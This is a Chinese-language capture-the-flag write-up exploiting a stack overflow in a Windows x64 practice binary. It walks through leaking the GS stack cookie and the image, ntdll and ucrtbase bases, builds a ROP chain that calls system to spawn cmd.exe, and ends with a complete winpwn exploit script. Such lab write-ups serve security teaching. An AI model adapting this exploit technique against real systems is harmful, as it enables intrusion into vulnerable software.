保护检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Results for: .\StackOverflow.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "Present"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotApplicable"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"

程序分析

一个朴实无华的栈溢出

Untitled.png

但是由于开启了 GS 保护,所以我们需要首先进行泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000140001000 ; __unwind { // __GSHandlerCheck
.text:0000000140001000 push rbx
.text:0000000140001002 sub rsp, 130h
.text:0000000140001009 mov rax, cs:__security_cookie
.text:0000000140001010 xor rax, rsp
.text:0000000140001013 mov [rsp+138h+var_18], rax

[...]

.text:00000001400010B2 mov rcx, [rsp+138h+var_18]
.text:00000001400010BA xor rcx, rsp ; StackCookie
.text:00000001400010BD call __security_check_cookie
.text:00000001400010C2 add rsp, 130h
.text:00000001400010C9 pop rbx
.text:00000001400010CA retn

通过填充 a ,这样在 puts 的时候便会把 StackCookie 给弄出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

r = process("./StackOverflow.exe")

payload = "a" * 0x100

sda("input:\r\n",payload)
ru(payload)
StackCookie = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] StackCookie : {hex(StackCookie)}")

windbgx.attach(r)

r.interactive()

Untitled 1.png

经过调试可以发现正确

Untitled 2.png

同时也可以发现后方放着返回地址

Untitled 3.png

那么我们可以继续填充泄露原本的返回地址,进而得到 exe 文件的基地址,然后第三次机会再返回到 main ,实施更多次的栈溢出攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

r = process("./StackOverflow.exe")

payload = "a" * 0x100
sda("input:\r\n",payload)
ru(payload)
StackCookie = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] StackCookie : {hex(StackCookie)}")

payload = "a" * 0x118
sda("input:\r\n",payload)
ru(payload)
elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4
print(f"[+] elf_base : {hex(elf_base)}")

main_addr = elf_base + 0x1000
print(f"[+] main_addr : {hex(main_addr)}")

payload = "a" * 0x100
payload += p64(StackCookie)
payload += "b" * 0x10
payload += p64(main_addr)
sda("input:\r\n",payload)

#windbgx.attach(r)

r.interactive()

接下来我们要进行的是 ropLinux执行 rop,有两个关键点合适的 gadget 和准确的库函数地址,这两点在 Linux下都可以通过 glibc来泄露寻找。但是对于 windows则需要分开寻找。

ntdll.dllWindows系统从ring3ring0的入口。位于Kernel32.dlluser32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在 ring0 中。所以如果这个函数是每个程序启动基本都会调用的,可以考虑从中寻找我们需要的 gadget

然后是寻找库函数地址, ucrtbased.dll 这个库是 VC 程序执行必须要有的库,里面放入了很多 VC 程序的 API 调用接口,类似于 Glibc.so。所以可以考虑从 ucrtbased.dll寻找需要调用的 函数地址。

但是,windows 的传参方式和函数调用都与 Linux 有一些差别。

Windows64位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9。其次函数调用 也不能直接指向 函数实现的入口地址,又因为 windows下没有 plt表,所以调用程序内的函数,要指向 call func的地址,例如要调用 puts函数,需要使用如下 gadget

Windows 64 位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9。其次函数调用也不能直接指向函数实现的入口地址,又因为 windows下没有 plt表,所以调用程序内的函数,要指向 call func 的地址,例如要调用 puts函数,需要使用如下 gadget

1
.text:00000001400010A6                 call    cs:puts

所以,我们想要实现库函数调用,也不可以直接指向库函数地址,而是要找到此类地址:

1
.text:00000000000ABBA0                 jmp     common_system_char_

这就需要我们泄露 ntdll.dllucrtbased.dll 的基址。

在执行 main 函数之前会先调用 ntdll.dll ,所以在 main 函数的栈帧的高位会存储 ntdll.dll 的地址。通过溢出泄露该 ntdll.dll 地址。

Untitled 4.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = "a" * 0x100
payload += p64(StackCookie)
payload += "b" * 0x10
payload += p64(main_addr)
sda("input:\r\n",payload)

payload = "a" * 0x100
sda("input:\r\n",payload)
ru(payload)
StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] StackCookie1 : {hex(StackCookie1)}")

payload = "a" * 0x180
sda("input:\r\n",payload)
ru(payload)
ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651
print(f"[+] ntdll_base : {hex(ntdll_base)}")

这里需要注意由于栈变化了所以要再次泄露 StackCookie

然后我们使用 ropper 来寻找 gadgets

1
ropper --file ./ntdll.dll --nocolor > gadget

然后我们通过 p_rcx_rp_rbx_r 来进行 rop ,其中的 puts_addr 选用的是 main 函数中的 puts ,同时通过控制 rbx 来让循环继续

Untitled 5.png

这样也方便直接控制程序流继续进行溢出

但是由于 rsp 的值不对了,所以说我们需要泄露 security_cookie 和栈地址来重新计算 StackCookie ,要不然之后会出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = "a" * 0x100
payload += p64(StackCookie1)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(security_cookie_addr)
payload += p64(p_rbx_r)
payload += p64(2)
payload += p64(puts_addr)

sda("input:\r\n",payload)
ru(payload)
security_cookie = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] security_cookie : {hex(security_cookie)}")

ori_rsp_addr = security_cookie ^ StackCookie1
now_rsp_addr = ori_rsp_addr + 0x160
print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}")

在得到了 ori_rsp_addr 后可以计算出 now_rsp_addr 并进行接下来的 rop ,那么我们继续泄露 ucrtbase.dll 的基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
read_got = elf_base + 0x2178

payload = "a" * 0x100
payload += p64(now_rsp_addr ^ security_cookie)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(read_got)
payload += p64(p_rbx_r)
payload += p64(1)
payload += p64(puts_addr)
sda("input:\r\n",payload)

ru("\r\n")
ru("\r\n")
ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0
print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")

最后执行 system("./cmd.exe") 即可

1
2
3
4
5
6
7
8
9
10
11
system_addr = ucrtbase_base + 0xAE5C0
cmd_addr = ucrtbase_base + 0xD0CB0
now_rsp_addr2 = now_rsp_addr + 0x160

payload = "a" * 0x100
payload += p64(now_rsp_addr2 ^ security_cookie)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(cmd_addr)
payload += p64(system_addr)
sda("input:\r\n",payload)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

r = process("./StackOverflow.exe")

# leak StackCookie
payload = "a" * 0x100
sda("input:\r\n",payload)
ru(payload)
StackCookie = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] StackCookie : {hex(StackCookie)}")

# leak elf_base
payload = "a" * 0x118
sda("input:\r\n",payload)
ru(payload)
elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4
print(f"[+] elf_base : {hex(elf_base)}")

# ret to main
main_addr = elf_base + 0x1000
print(f"[+] main_addr : {hex(main_addr)}")

payload = "a" * 0x100
payload += p64(StackCookie)
payload += "b" * 0x10
payload += p64(main_addr)
sda("input:\r\n",payload)

# leak StackCookie1
payload = "a" * 0x100
sda("input:\r\n",payload)
ru(payload)
StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] StackCookie1 : {hex(StackCookie1)}")

# leak ntdll_base
payload = "a" * 0x180
sda("input:\r\n",payload)
ru(payload)
ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651
print(f"[+] ntdll_base : {hex(ntdll_base)}")

# leak security_cookie
puts_addr = elf_base + 0x10a6
security_cookie_addr = elf_base + 0x3008
p_rcx_r = ntdll_base + 0x1a853
p_rbx_r = ntdll_base + 0x137d

payload = "a" * 0x100
payload += p64(StackCookie1)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(security_cookie_addr)
payload += p64(p_rbx_r)
payload += p64(1)
payload += p64(puts_addr)

sda("input:\r\n",payload)
ru("\r\n")
ru("\r\n")
security_cookie = u64(ru("\r\n").ljust(8,u"\x00"))
print(f"[+] security_cookie : {hex(security_cookie)}")

# calc rsp_addr
ori_rsp_addr = security_cookie ^ StackCookie1
now_rsp_addr = ori_rsp_addr + 0x160
print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}")
print(f"[+] now_rsp_addr : {hex(now_rsp_addr)}")

# leak ucrtbase_base
read_got = elf_base + 0x2178

payload = "a" * 0x100
payload += p64(now_rsp_addr ^ security_cookie)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(read_got)
payload += p64(p_rbx_r)
payload += p64(1)
payload += p64(puts_addr)
sda("input:\r\n",payload)

ru("\r\n")
ru("\r\n")
ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0
print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")

# get shell
system_addr = ucrtbase_base + 0xAE5C0
cmd_addr = ucrtbase_base + 0xD0CB0
now_rsp_addr2 = now_rsp_addr + 0x160

payload = "a" * 0x100
payload += p64(now_rsp_addr2 ^ security_cookie)
payload += "b" * 0x10
payload += p64(p_rcx_r)
payload += p64(cmd_addr)
payload += p64(system_addr)
sda("input:\r\n",payload)

# windbgx.attach(r)

# bp StackOverflow+0x10ba
r.interactive()